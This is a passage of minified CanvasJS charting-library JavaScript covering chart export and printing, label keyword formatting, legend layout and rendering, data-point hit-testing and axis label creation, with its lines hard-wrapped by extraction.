a].exploded=C[C.length-1-a].exploded?!1:!0:C[a].exploded=C[a].exploded?!1:!
0;h(z,b,500)}};return{source:Q,dest:this.plotArea.ctx,animationCallback:function(a,
b){M.fadeInAnimation(a,b);1<=a&&(h(z,-1,500),v(z.plotArea.ctx||
z.ctx))},easingFunction:M.easing.easeInQuad,animationBase:0}}}}};p.prototype.reques
tAnimFrame=function(){return
window.requestAnimationFrame||window.webkitRequestAnimationFrame||
window.mozRequestAnimationFrame||window.oRequestAnimationFrame||
window.msRequestAnimationFrame||function(a){window.setTimeout(a,1E3/60)}}
();p.prototype.cancelRequestAnimFrame=window.cancelAnimationFrame||
window.webkitCancelRequestAnimationFrame||window.mozCancelRequestAnimationFrame||
window.oCancelRequestAnimationFrame||window.msCancelRequestAnimationFrame||
clearTimeout;p.prototype.set=function(a,d,b){b="undefined"===typeof b?!
0:b;"options"===a?
(this.options=d,b&&this.render()):p.base.set.call(this,a,d,b)};p.prototype.exportCh
art=function(a){a="undefined"===typeof a?{}:a;var d=a.format?
a.format:"png",b=a.fileName?a.fileName:this.exportFileName;if(a.toDataURL)return
this.canvas.toDataURL("image/"+d);Ta(this.canvas,d,b)};p.prototype.print=function()
{var a=this.exportChart({toDataURL:!
0}),d=document.createElement("iframe");d.setAttribute("class","canvasjs-chart-
print-frame");d.setAttribute("style","position:absolute; width:100%; border: 0px;
margin: 0px 0px 0px 0px; padding 0px 0px 0px
0px;");d.style.height=this.height+"px";this._canvasJSContainer.appendChild(d);var
b=this,c=d.contentWindow||d.contentDocument.document||
d.contentDocument;c.document.open();c.document.write('<!DOCTYPE HTML>\n<html><body
style="margin: 0px 0px 0px 0px; padding: 0px 0px 0px 0px;"><img
src="'+a+'"/><body/></html>');c.document.close();setTimeout(function()
{c.focus();c.print();setTimeout(function()
{b._canvasJSContainer.removeChild(d)},1E3)},500)};p.prototype.getPercentAndTotal=fu
nction(a,d){var
b=null,c=null,e=null;if(0<=a.type.indexOf("stacked"))c=0,b=d.x.getTime?
d.x.getTime():d.x,b in a.plotUnit.yTotals&&(c=a.plotUnit.yTotals[b],e=isNaN(d.y)?
0:100*(d.y/c));else
if("pie"===a.type||"doughnut"===a.type||"funnel"===a.type||"pyramid"===a.type)
{for(b=c=0;b<a.dataPoints.length;b++)isNaN(a.dataPoints[b].y)||
(c+=a.dataPoints[b].y);e=isNaN(d.y)?
0:100*(d.y/c)}return{percent:e,total:c}};p.prototype.replaceKeywordsWithValue=funct
ion(a,d,b,c,e){var g=this;e="undefined"===typeof e?
0:e;if((0<=b.type.indexOf("stacked")||"pie"===b.type||"doughnut"===b.type||"funnel"
===b.type||"pyramid"===b.type)&&(0<=a.indexOf("#percent")||0<=a.indexOf("#total")))
{var k="#percent",l="#total",h=this.getPercentAndTotal(b,d),l=isNaN(h.total)?
l:h.total,k=isNaN(h.percent)?
k:h.percent;do{h="";if(b.percentFormatString)h=b.percentFormatString;else{var
h="#,##0.",m=Math.max(Math.ceil(Math.log(1/Math.abs(k))/Math.LN10),2);if(isNaN(m)||
!isFinite(m))m=2;for(var s=0;s<m;s+
+)h+="#";b.percentFormatString=h}a=a.replace("#percent",ba(k,h,g._cultureInfo));a=a
.replace("#total",ba(l,b.yValueFormatString?
b.yValueFormatString:"#,##0.########",g._cultureInfo))}while(0<=a.indexOf("#percent
")||0<=a.indexOf("#total"))}return a.replace(/\{.*?\}|"[^"]*"|'[^']*'/g,function(a)
{if('"'===a[0]&&'"'===a[a.length-1]||"'"===a[0]&&"'"===a[a.length-1])return
a.slice(1,a.length-1);a=Ia(a.slice(1,a.length-1));a=a.replace("#index",e);var
k=null;try{var f=a.match(/(.*?)\s*\
[\s*(.*?)\s*\]/);f&&0<f.length&&(k=Ia(f[2]),a=Ia(f[1]))}catch(l)
{}f=null;if("color"===a)return"waterfall"===b.type?d.color?d.color:0<d.y?
b.risingColor:b.fallingColor:"error"===b.type?b.color?b.color:b._colorSet[k
%b._colorSet.length]:d.color?d.color:b.color?b.color:b._colorSet[c
%b._colorSet.length];if(d.hasOwnProperty(a))f=d;else
if(b.hasOwnProperty(a))f=b;else return"";f=f[a];null!
==k&&(f=f[k]);if("x"===a)if("dateTime"===b.axisX.valueType||"dateTime"===b.xValueTy
pe||d.x&&d.x.getTime){if(g.plotInfo.plotTypes[0].plotUnits[0].axisX&&!
g.plotInfo.plotTypes[0].plotUnits[0].axisX.logarithmic)return
Ca(f,d.xValueFormatString?d.xValueFormatString:b.xValueFormatString?
b.xValueFormatString:b.xValueFormatString=g.axisX&&g.axisX.autoValueFormatString?
g.axisX.autoValueFormatString:"DD MMM YY",g._cultureInfo)}else return
ba(f,d.xValueFormatString?d.xValueFormatString:b.xValueFormatString?
b.xValueFormatString:b.xValueFormatString="#,##0.########",g._cultureInfo);else
return"y"===a?ba(f,d.yValueFormatString?d.yValueFormatString:b.yValueFormatString?
b.yValueFormatString:b.yValueFormatString="#,##0.########",g._cultureInfo):"z"===a?
ba(f,d.zValueFormatString?d.zValueFormatString:b.zValueFormatString?
b.zValueFormatString:b.zValueFormatString="#,##0.########",g._cultureInfo):f})};qa(
H,V);H.prototype.setLayout=function(){var a=this.dockInsidePlotArea?
this.chart.plotArea:this.chart,d=a.layoutManager.getFreeSpace(),b=null,c=0,e=0,g=0,
k=0,l=this.markerMargin=this.chart.options.legend&&!
u(this.chart.options.legend.markerMargin)?
this.chart.options.legend.markerMargin:0.3*this.fontSize;this.height=0;var
h=[],m=[];"top"===this.verticalAlign||"bottom"===this.verticalAlign?
(this.orientation="horizontal",b=this.verticalAlign,g=this.maxWidth=null!
==this.maxWidth?this.maxWidth:d.width,k=this.maxHeight=null!==this.maxHeight?
this.maxHeight:0.5*d.height):"center"===this.verticalAlign&&(this.orientation="vert
ical",b=this.horizontalAlign,g=this.maxWidth=null!==this.maxWidth?
this.maxWidth:0.5*d.width,k=this.maxHeight=null!==this.maxHeight?
this.maxHeight:d.height);this.errorMarkerColor=[];for(var
s=0;s<this.dataSeries.length;s++){var
q=this.dataSeries[s];if(q.dataPoints&&q.dataPoints.length)if("pie"!
==q.type&&"doughnut"!==q.type&&"funnel"!==q.type&&"pyramid"!==q.type){var
n=q.legendMarkerType=q.legendMarkerType?q.legendMarkerType:"line"!
==q.type&&"stepLine"!==q.type&&"spline"!==q.type&&"scatter"!==q.type&&"bubble"!
==q.type||!q.markerType?"error"===q.type&&q._linkedSeries?
q._linkedSeries.legendMarkerType?
q._linkedSeries.legendMarkerType:F.getDefaultLegendMarker(q._linkedSeries.type):F.g
etDefaultLegendMarker(q.type):q.markerType,f=q.legendText?
q.legendText:this.itemTextFormatter?
this.itemTextFormatter({chart:this.chart,legend:this.options,dataSeries:q,dataPoint
:null}):q.name,p=q.legendMarkerColor=q.legendMarkerColor?
q.legendMarkerColor:q.markerColor?q.markerColor:"error"===q.type?u(q.whiskerColor)?
q._colorSet[0]:q.whiskerColor:q._colorSet[0],r=q.markerSize||"line"!
==q.type&&"stepLine"!==q.type&&"spline"!==q.type?
0.75*this.lineHeight:0,v=q.legendMarkerBorderColor?
q.legendMarkerBorderColor:q.markerBorderColor,t=q.legendMarkerBorderThickness?
q.legendMarkerBorderThickness:q.markerBorderThickness?
Math.max(1,Math.round(0.2*r)):0;"error"===q.type&&this.errorMarkerColor.push(p);f=t
his.chart.replaceKeywordsWithValue(f,q.dataPoints[0],q,s);n={markerType:n,markerCol
or:p,text:f,textBlock:null,chartType:q.type,markerSize:r,lineColor:q._colorSet[0],d
ataSeriesIndex:q.index,dataPointIndex:null,markerBorderColor:v,markerBorderThicknes
s:t};h.push(n)}else for(var z=0;z<q.dataPoints.length;z++){var
x=q.dataPoints[z],n=x.legendMarkerType?x.legendMarkerType:q.legendMarkerType?
q.legendMarkerType:F.getDefaultLegendMarker(q.type),f=x.legendText?
x.legendText:q.legendText?q.legendText:this.itemTextFormatter?
this.itemTextFormatter({chart:this.chart,legend:this.options,dataSeries:q,dataPoint
:x}):x.name?x.name:"DataPoint: "+(z+1),p=x.legendMarkerColor?
x.legendMarkerColor:q.legendMarkerColor?q.legendMarkerColor:x.color?
x.color:q.color?q.color:q._colorSet[z
%q._colorSet.length],r=0.75*this.lineHeight,v=x.legendMarkerBorderColor?
x.legendMarkerBorderColor:q.legendMarkerBorderColor?
q.legendMarkerBorderColor:x.markerBorderColor?
x.markerBorderColor:q.markerBorderColor,t=x.legendMarkerBorderThickness?
x.legendMarkerBorderThickness:q.legendMarkerBorderThickness?
q.legendMarkerBorderThickness:x.markerBorderThickness||q.markerBorderThickness?
Math.max(1,Math.round(0.2*r)):0,f=this.chart.replaceKeywordsWithValue(f,x,q,z),n={m
arkerType:n,markerColor:p,text:f,textBlock:null,chartType:q.type,markerSize:r,dataS
eriesIndex:s,dataPointIndex:z,markerBorderColor:v,markerBorderThickness:t};
(x.showInLegend||q.showInLegend&&!1!==x.showInLegend)&&h.push(n)}}!
0===this.reversed&&h.reverse();if(0<h.length){q=null;p=f=x=z=0;x=null!
==this.itemWidth?null!==this.itemMaxWidth?
Math.min(this.itemWidth,this.itemMaxWidth,g):this.itemMaxWidth=Math.min(this.itemWi
dth,g):null!==this.itemMaxWidth?
Math.min(this.itemMaxWidth,g):this.itemMaxWidth=g;r=0===r?0.75*this.lineHeight:r;x-
=r+l;for(s=0;s<h.length;s++)
{n=h[s];v=x;if("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartTy
pe)v-=2*0.1*this.lineHeight;if(!(0>=k||"undefined"===typeof k||
0>=v||"undefined"===typeof v)){if("horizontal"===this.orientation){n.textBlock=new
ka(this.ctx,{x:0,y:0,maxWidth:v,maxHeight:this.itemWrap?
k:this.lineHeight,angle:0,text:n.text,horizontalAlign:"left",fontSize:this.fontSize
,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontColor:this.fontColor,fon
tStyle:this.fontStyle,textBaseline:"middle"});n.textBlock.measureText();null!
==this.itemWidth&&(n.textBlock.width=this.itemWidth-(r+l+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0)));if(!q||
q.width+Math.round(n.textBlock.width+r+l+(0===q.width?0:this.horizontalSpacing)+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0))>g)q={items:
[],width:0},m.push(q),this.height+=f,f=0;f=Math.max(f,n.textBlock.height)}else
n.textBlock=new ka(this.ctx,{x:0,y:0,maxWidth:x,maxHeight:!0===this.itemWrap?
k:1.5*this.fontSize,angle:0,text:n.text,horizontalAlign:"left",fontSize:this.fontSi
ze,fontFamily:this.fontFamily,fontWeight:this.fontWeight,fontColor:this.fontColor,f
ontStyle:this.fontStyle,textBaseline:"middle"}),n.textBlock.measureText(),null!
==this.itemWidth&&(n.textBlock.width=this.itemWidth-(r+l+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0))),this.height<k-this.lineHeight?(q={items:
[],width:0},m.push(q)):
(q=m[z],z=(z+1)%m.length),this.height+=n.textBlock.height;n.textBlock.x=q.width;n.t
extBlock.y=0;q.width+=Math.round(n.textBlock.width+r+l+(0===q.width?
0:this.horizontalSpacing)+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chartType?
2*0.1*this.lineHeight:0));q.items.push(n);this.width=Math.max(q.width,this.width);p
=n.textBlock.width+(r+l+
("line"===n.chartType||"spline"===n.chartType||"stepLine"===n.chart
Type?2*0.1*this.lineHeight:0))}}this.itemWidth=p;this.height=!1===this.itemWrap?
m.length*this.lineHeight:this.height+f;this.height=Math.min(k,this.height);this.wid
th=Math.min(g,this.width)}"top"===this.verticalAlign?
(e="left"===this.horizontalAlign?d.x1:"right"===this.horizontalAlign?d.x2-
this.width:d.x1+d.width/2-this.width/2,c=d.y1):"center"===this.verticalAlign?
(e="left"===this.horizontalAlign?d.x1:"right"===this.horizontalAlign?d.x2-
this.width:d.x1+d.width/2-this.width/2,c=d.y1+d.height/2-
this.height/2):"bottom"===this.verticalAlign&&(e="left"===this.horizontalAlign?
d.x1:"right"===this.horizontalAlign?d.x2-this.width:d.x1+d.width/2-
this.width/2,c=d.y2-this.height);this.items=h;for(s=0;s<this.items.length;s+
+)n=h[s],n.id=+
+this.chart._eventManager.lastObjectId,this.chart._eventManager.objectMap[n.id]={id
:n.id,objectType:"legendItem",legendItemIndex:s,dataSeriesIndex:n.dataSeriesIndex,d
ataPointIndex:n.dataPointIndex};this.markerSize=r;this.rows=m;0<h.length&&a.layoutM
anager.registerSpace(b,
{width:this.width+2+2,height:this.height+5+5});this.bounds={x1:e,y1:c,x2:e+this.wid
th,y2:c+this.height}};H.prototype.render=function(){var
a=this.bounds.x1,d=this.bounds.y1,b=this.markerMargin,c=this.maxWidth,e=this.maxHei
ght,g=this.markerSize,k=this.rows;(0<this.borderThickness&&this.borderColor||
this.backgroundColor)&&this.ctx.roundRect(a,d,this.width,this.height,this.cornerRad
ius,this.borderThickness,this.backgroundColor,this.borderColor);for(var
l=0,h=0;h<k.length;h++){for(var m=k[h],s=0,q=0;q<m.items.length;q++){var
n=m.items[q],f=n.textBlock.x+a+(0===q?
0.2*g:this.horizontalSpacing),p=d+l,u=f;this.chart.data[n.dataSeriesIndex].visible|
|
(this.ctx.globalAlpha=0.5);this.ctx.save();this.ctx.beginPath();this.ctx.rect(a,d,c
,Math.max(e-e
%this.lineHeight,0));this.ctx.clip();if("line"===n.chartType||"stepLine"===n.chartT
ype||"spline"===n.chartType)this.ctx.strokeStyle=n.lineColor,this.ctx.lineWidth=Mat
h.ceil(this.lineHeight/8),this.ctx.beginPath(),this.ctx.moveTo(f-
0.1*this.lineHeight,p+this.lineHeight/2),this.ctx.lineTo(f+0.85*this.lineHeight,p+t
his.lineHeight/2),this.ctx.stroke(),u-
=0.1*this.lineHeight;if("error"===n.chartType)
{this.ctx.strokeStyle=this.errorMarkerColor[0];this.ctx.lineWidth=g/8;this.ctx.begi
nPath();var r=f-
0.08*this.lineHeight+0.1*this.lineHeight,t=p+0.15*this.lineHeight,v=0.7*this.lineHe
ight,x=v+0.02*this.lineHeight;this.ctx.moveTo(r,t);this.ctx.lineTo(r+v,t);this.ctx.
stroke();this.ctx.beginPath();this.ctx.moveTo(r+v/2,t);this.ctx.lineTo(r+v/2,t+x);t
his.ctx.stroke();this.ctx.beginPath();this.ctx.moveTo(r,t+x);this.ctx.lineTo(r+v,t+
x);this.ctx.stroke();this.errorMarkerColor.shift()}ia.drawMarker(f+g/2,p+this.lineH
eight/2,this.ctx,n.markerType,"error"===n.chartType||"line"===n.chartType||"spline"
===n.chartType?
n.markerSize/2:n.markerSize,n.markerColor,n.markerBorderColor,n.markerBorderThickne
ss);n.textBlock.x=f+b+g;if("line"===n.chartType||"stepLine"===n.chartType||"spline"
===n.chartType)n.textBlock.x+=0.1*this.lineHeight;n.textBlock.y=Math.round(p+this.l
ineHeight/2);n.textBlock.render(!0);this.ctx.restore();s=0<q?
Math.max(s,n.textBlock.height):n.textBlock.height;this.chart.data[n.dataSeriesIndex
].visible||
(this.ctx.globalAlpha=1);f=N(n.id);this.ghostCtx.fillStyle=f;this.ghostCtx.beginPat
h();this.ghostCtx.fillRect(u,n.textBlock.y-
this.lineHeight/2,n.textBlock.x+n.textBlock.width-
u,n.textBlock.height);n.x1=this.chart._eventManager.objectMap[n.id].x1=u;n.y1=this.
chart._eventManager.objectMap[n.id].y1=n.textBlock.y-
this.lineHeight/2;n.x2=this.chart._eventManager.objectMap[n.id].x2=n.textBlock.x+n.
textBlock.width;n.y2=this.chart._eventManager.objectMap[n.id].y2=n.textBlock.y+n.te
xtBlock.height-
this.lineHeight/2}l+=s}};qa(F,V);F.prototype.getDefaultAxisPlacement=function(){var
a=this.type;if("column"===a||"line"===a||"stepLine"===a||"spline"===a||"area"===a||
"stepArea"===a||"splineArea"===a||"stackedColumn"===a||"stackedLine"===a||"bubble"=
==a||"scatter"===a||"stackedArea"===a||"stackedColumn100"===a||"stackedLine100"===a
||"stackedArea100"===a||"candlestick"===a||"ohlc"===a||"rangeColumn"===a||"rangeAre
a"===a||"rangeSplineArea"===a||"boxAndWhisker"===a||"waterfall"===a)return"normal";
if("bar"===a||"stackedBar"===a||"stackedBar100"===a||"rangeBar"===a)return"xySwappe
d";if("pie"===a||"doughnut"===a||"funnel"===a||"pyramid"===a)return"none";"error"!
==a&&window.console.log("Unknown Chart Type: "+a);return
null};F.getDefaultLegendMarker=function(a)
{if("column"===a||"stackedColumn"===a||"stackedLine"===a||"bar"===a||"stackedBar"==
=a||"stackedBar100"===a||"bubble"===a||"scatter"===a||"stackedColumn100"===a||"stac
kedLine100"===a||"stepArea"===a||"candlestick"===a||"ohlc"===a||"rangeColumn"===a||
"rangeBar"===a||"rangeArea"===a||"rangeSplineArea"===a||"boxAndWhisker"===a||"water
fall"===a)return"square";if("line"===a||"stepLine"===a||"spline"===a||"pie"===a||"d
oughnut"===a)return"circle";if("area"===a||"splineArea"===a||"stackedArea"===a||"st
ackedArea100"===a||"funnel"===a||"pyramid"===a)return"triangle";if("error"===a)retu
rn"none";window.console.log("Unknown Chart Type: "+a);return
null};F.prototype.getDataPointAtX=function(a,d){if(!this.dataPoints||
0===this.dataPoints.length)return null;var
b={dataPoint:null,distance:Infinity,index:NaN},c=null,e=0,g=0,k=1,l=Infinity,h=0,m=
0,s=0;"none"!==this.chart.plotInfo.axisPlacement&&(this.axisX.logarithmic?
(s=Math.log(this.dataPoints[this.dataPoints.length-
1].x/this.dataPoints[0].x),s=1<s?Math.min(Math.max((this.dataPoints.length-
1)/s*Math.log(a/this.dataPoints[0].x)>>0,0),this.dataPoints.length):0):
(s=this.dataPoints[this.dataPoints.length-1].x-this.dataPoints[0].x,s=0<s?
Math.min(Math.max((this.dataPoints.length-1)/s*(a-
this.dataPoints[0].x)>>0,0),this.dataPoints.length):0));for(;;){g=0<k?s+e:s-
e;if(0<=g&&g<this.dataPoints.length){var
c=this.dataPoints[g],q=this.axisX.logarithmic?c.x>a?c.x/a:a/c.x:Math.abs(c.x-
a);q<b.distance&&(b.dataPoint=c,b.distance=q,b.index=g);c=q;c<=l?l=c:0<k?h++:m+
+;if(1E3<h&&1E3<m)break}else if(0>s-e&&s+e>=this.dataPoints.length)break;-1===k?(e+
+,k=1):k=-1}return d||b.dataPoint.x!==a?d&&null!==b.dataPoint?
b:null:b};F.prototype.getDataPointAtXY=function(a,d,b){if(!this.dataPoints||
0===this.dataPoints.length||a<this.chart.plotArea.x1||a>this.chart.plotArea.x2||
d<this.chart.plotArea.y1||d>this.chart.plotArea.y2)return null;b=b||!1;var
c=[],e=0,g=0,k=1,l=!1,h=Infinity,m=0,s=0,q=0;if("none"!
==this.chart.plotInfo.axisPlacement)if(q=(this.chart.axisX[0]?
this.chart.axisX[0]:this.chart.axisX2[0]).getXValueAt({x:a,y:d}),this.axisX.logarit
hmic)var n=Math.log(this.dataPoints[this.dataPoints.length-
1].x/this.dataPoints[0].x),q=1<n?Math.min(Math.max((this.dataPoints.length-
1)/n*Math.log(q/this.dataPoints[0].x)>>0,0),this.dataPoints.length):0;else
n=this.dataPoints[this.dataPoints.length-1].x-this.dataPoints[0].x,q=0<n?
Math.min(Math.max((this.dataPoints.length-1)/n*(q-
this.dataPoints[0].x)>>0,0),this.dataPoints.length):0;for(;;){g=0<k?q+e:q-
e;if(0<=g&&g<this.dataPoints.length){var
n=this.chart._eventManager.objectMap[this.dataPointIds[g]],f=this.dataPoints[g],p=n
ull;if(n){switch(this.type)
{case"column":case"stackedColumn":case"stackedColumn100":case"bar":case"stackedBar"
:case"stackedBar100":case"rangeColumn":case"rangeBar":case"waterfall":case"error":a
>=n.x1&&(a<=n.x2&&d>=n.y1&&d<=n.y2)&&(c.push({dataPoint:f,dataPointIndex:g,dataSeri
es:this,distance:Math.min(Math.abs(n.x1-a),Math.abs(n.x2-a),Math.abs(n.y1-
d),Math.abs(n.y2-d))}),l=!
0);break;case"line":case"stepLine":case"spline":case"area":case"stepArea":case"stac
kedArea":case"stackedArea100":case"splineArea":case"scatter":var
u=na("markerSize",f,this)||4,r=b?20:u,p=Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y1-
d,2));p<=r&&c.push({dataPoint:f,dataPointIndex:g,dataSeries:this,distance:p});n=Mat
h.abs(n.x1-a);n<=h?h=n:0<k?m++:s++;p<=u/2&&(l=!
0);break;case"rangeArea":case"rangeSplineArea":u=na("markerSize",f,this)||4;r=b?
20:u;p=Math.min(Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y1-
d,2)),Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y2-
d,2)));p<=r&&c.push({dataPoint:f,dataPointIndex:g,dataSeries:this,distance:p});n=Ma
th.abs(n.x1-a);n<=h?h=n:0<k?m++:s++;p<=u/2&&(l=!
0);break;case"bubble":u=n.size;p=Math.sqrt(Math.pow(n.x1-a,2)+Math.pow(n.y1-
d,2));p<=u/2&&(c.push({dataPoint:f,dataPointIndex:g,dataSeries:this,distance:p}),l=
!0);break;case"pie":case"doughnut":u=n.center;r="doughnut"===this.type?
n.percentInnerRadius*n.radius:0;p=Math.sqrt(Math.pow(u.x-a,2)+Math.pow(u.y-
d,2));p<n.radius&&p>r&&(p=Math.atan2(d-u.y,a-
u.x),0>p&&(p+=2*Math.PI),p=Number(((180*(p/Math.PI)
%360+360)%360).toFixed(12)),u=Number(((180*(n.startAngle/Math.PI)
%360+360)%360).toFixed(12)),r=Number(((180*(n.endAngle/Math.PI)
%360+360)%360).toFixed(12)),0===r&&1<n.endAngle&&(r=360),u>=r&&0!
==f.y&&(r+=360,p<u&&(p+=360)),p>u&&p<r&&(c.push({dataPoint:f,dataPointIndex:g,dataS
eries:this,distance:0}),l=!
0));break;case"funnel":case"pyramid":p=n.funnelSection;d>p.y1&&d<p.y4&&(p.y6?
d>p.y6?(g=p.x6+(p.x5-p.x6)/(p.y5-p.y6)*(d-p.y6),p=p.x3+(p.x4-p.x3)/(p.y4-p.y3)*(d-
p.y3)):(g=p.x1+(p.x6-p.x1)/(p.y6-p.y1)*(d-p.y1),p=p.x2+(p.x3-p.x2)/(p.y3-p.y2)*(d-
p.y2)):(g=p.x1+(p.x4-p.x1)/(p.y4-p.y1)*(d-p.y1),p=p.x2+(p.x3-p.x2)/(p.y3-p.y2)*(d-
p.y2)),a>g&&a<p&&(c.push({dataPoint:f,dataPointIndex:n.dataPointIndex,dataSeries:th
is,distance:0}),l=!0));break;case"boxAndWhisker":if(a>=n.x1-
n.borderThickness/2&&a<=n.x2+n.borderThickness/2&&d>=n.y4-
n.borderThickness/2&&d<=n.y1+n.borderThickness/2||Math.abs(n.x2-a+n.x1-
a)<n.borderThickness&&d>=n.y1&&d<=n.y4)c.push({dataPoint:f,dataPointIndex:g,dataSer
ies:this,distance:Math.min(Math.abs(n.x1-a),Math.abs(n.x2-a),Math.abs(n.y2-
d),Math.abs(n.y3-d))}),l=!0;break;case"candlestick":if(a>=n.x1-
n.borderThickness/2&&a<=n.x2+n.borderThickness/2&&d>=n.y2-
n.borderThickness/2&&d<=n.y3+n.borderThickness/2||Math.abs(n.x2-a+n.x1-
a)<n.borderThickness&&d>=n.y1&&d<=n.y4)c.push({dataPoint:f,dataPointIndex:g,dataSer
ies:this,distance:Math.min(Math.abs(n.x1-a),Math.abs(n.x2-a),Math.abs(n.y2-
d),Math.abs(n.y3-d))}),l=!0;break;case"ohlc":if(Math.abs(n.x2-a+n.x1-
a)<n.borderThickness&&d>=n.y2&&d<=
n.y3||a>=n.x1&&a<=(n.x2+n.x1)/2&&d>=n.y1-
n.borderThickness/2&&d<=n.y1+n.borderThickness/2||
a>=(n.x1+n.x2)/2&&a<=n.x2&&d>=n.y4-
n.borderThickness/2&&d<=n.y4+n.borderThickness/2)c.push({dataPoint:f,dataPointIndex
:g,dataSeries:this,distance:Math.min(Math.abs(n.x1-a),Math.abs(n.x2-
a),Math.abs(n.y2-d),Math.abs(n.y3-d))}),l=!0}if(l||1E3<m&&1E3<s)break}}else if(0>q-
e&&q+e>=this.dataPoints.length)break;-1===k?(e++,k=1):k=-
1}a=null;for(d=0;d<c.length;d++)a?c[d].distance<=a.distance&&(a=c[d]):a=c[d];return
a};F.prototype.getMarkerProperties=function(a,d,b,c){var
e=this.dataPoints;return{x:d,y:b,ctx:c,type:e[a].markerType?
e[a].markerType:this.markerType,size:e[a].markerSize?
e[a].markerSize:this.markerSize,color:e[a].markerColor?
e[a].markerColor:this.markerColor?this.markerColor:e[a].color?
e[a].color:this.color?this.color:this._colorSet[a
%this._colorSet.length],borderColor:e[a].markerBorderColor?
e[a].markerBorderColor:this.markerBorderColor?
this.markerBorderColor:null,borderThickness:e[a].markerBorderThickness?
e[a].markerBorderThickness:this.markerBorderThickness?
this.markerBorderThickness:null}};qa(z,V);z.prototype.createExtraLabelsForLog=funct
ion(a){a=(a||0)+1;if(!(5<a)){var d=this.logLabelValues[0]||
this.intervalStartPosition;if(Math.log(this.range)/Math.log(d/this.viewportMinimum)
<this.noTicks-1){for(var b=z.getNiceNumber((d-
this.viewportMinimum)/Math.min(Math.max(2,this.noTicks-
this.logLabelValues.length),3),!
0),c=Math.ceil(this.viewportMinimum/b)*b;c<d;c+=b)c<this.viewportMinimum||
this.logLabelValues.push(c);this.logLabelValues.sort(Sa);this.createExtraLabelsForL
og(a)}}};z.prototype.createLabels=function(){var
a,d,b=0,c=0,e,g=0,k=0,c=0,c=this.interval,l=0,h,m=0.6*this.chart.height,p;a=!1;var
q=this.scaleBreaks?this.scaleBreaks._appliedBreaks:[],n=q.length?
u(this.scaleBreaks.firstBreakIndex)?
0:this.scaleBreaks.firstBreakIndex:0;if("axisX"!==this.type||"dateTime"!
==this.valueType||this.logarithmic){e=this.viewportMaximum;if(this.labels)
{a=Math.ceil(c);for(var c=Math.ceil(this.intervalStartPosition),f=!
1,b=c;b<this.viewportMaximum;b+=a)if(this.labels[b])f=!0;else{f=!
1;break}f&&(this.interval=a,this.intervalStartPosition=c)}if(this.logarithmic&&!
this.equidistantInterval)for(this.logLabelValues||
(this.logLabelValues=[],this.createExtraLabelsForLog()),c=0,f=n;c<this.logLabelValu
es.length;c++)if(b=this.logLabelValues[c],b<this.viewportMinimum)c+
+;else{for(;f<q.length&&b>q[f].endValue;f+
+);a=f<q.length&&b>=q[f].startValue&&b<=q[f].endValue;p=b;a||
(a=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.options,value:p,label:this.labels[p
]?this.labels[p]:null}):"axisX"===this.type&&this.labels[p]?
this.labels[p]:ba(p,this.valueFormatString,this.chart._cultureInfo),a=new
ka(this.ctx,
{x:0,y:0,maxWidth:g,maxHeight:k,angle:this.labelAngle,text:this.prefix+a+this.suffi
x,backgroundColor:this.labelBackgroundColor,borderColor:this.labelBorderColor,borde
rThickness:this.labelBorderThickness,cornerRadius:this.labelCornerRadius,horizontal
Align:"left",fontSize:this.labelFontSize,fontFamily:this.labelFontFamily,fontWeight
:this.labelFontWeight,fontColor:this.labelFontColor,fontStyle:this.labelFontStyle,t
extBaseline:"middle",borderThickness:0}),this._labels.push({position:p,textBlock:a,
effectiveHeight:null}))}f=n;for(b=this.intervalStartPosition;b<=e;b=parseFloat(1E-
12>this.interval?this.logarithmic&&this.equidistantInterval?
b*Math.pow(this.logarithmBase,this.interval):b+this.interval:
(this.logarithmic&&this.equidistantInterval?
b*Math.pow(this.logarithmBase,this.interval):b+this.interval).toFixed(12)))
{for(;f<q.length&&b>q[f].endValue;f+
+);a=f<q.length&&b>=q[f].startValue&&b<=q[f].endValue;p=b;a||
(a=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.options,value:p,label:this.labels[p
]?this.labels[p]:null}):"axisX"===this.type&&this.labels[p]?
this.labels[p]:ba(p,this.valueFormatString,this.chart._cultureInfo),a=new
ka(this.ctx,
{x:0,y:0,maxWidth:g,maxHeight:k,angle:this.labelAngle,text:this.prefix+a+this.suffi
x,horizontalAlign:"left",backgroundColor:this.labelBackgroundColor,borderColor:this
.labelBorderColor,borderThickness:this.labelBorderThickness,cornerRadius:this.label
CornerRadius,fontSize:this.labelFontSize,fontFamily:this.labelFontFamily,fontWeight
:this.labelFontWeight,fontColor:this.labelFontColor,fontStyle:this.labelFontStyle,t
extBaseline:"middle"}),this._labels.push({position:p,textBlock:a,effectiveHeight:nu
ll}))}}else for(this.intervalStartPosition=this.getLabelStartPoint(new
Date(this.viewportMinimum),this.intervalType,this.interval),e=Ya(new
Date(this.viewportMaximum),this.interval,this.intervalType),f=n,b=this.intervalStar
tPosition;b<e;Ya(b,c,this.intervalType))
{for(a=b.getTime();f<q.length&&a>q[f].endValue;f+
+);p=a;a=f<q.length&&a>=q[f].startValue&&a<=q[f].endValue;a||
(a=this.labelFormatter?
this.labelFormatter({chart:this.chart,axis:this.options,value:new
Date(p),label:this.labels[p]?
this.labels[p]:null}):"axisX"===this.type&&this.labels[p]?
this.labels[p]:Ca(p,this.valueFormatString,this.chart._cultureInfo),a=new
ka(this.ctx,
{x:0,y:0,maxWidth:g,backgroundColor:this.labelBackgroundColor,borderColor:this.labe
lBorderColor,borderThickness:this.labelBorderThickness,cornerRadius:this.labelCorne
rRadius,maxHeight:k,angle:this.labelAngle,text:this.prefix+a+this.suffix,horizontal
Align:"left",fontSize:this.labelFontSize,fontFamily:this.labelFontFamily,fontWeight
:this.labelFontWeight,fontColor:this.labelFontColor,fontStyle:this.labelFontStyle,t
extBaseline:"middle"}),this._labels.push({position:p,textBlock:a,effectiveHeight:nu
ll,breaksLabelType:void
0}))}if("bottom"===this._position||"top"===this._position)l=this.logarithmic&&!
this.equidistantInterval&&2<=this._labels.length?
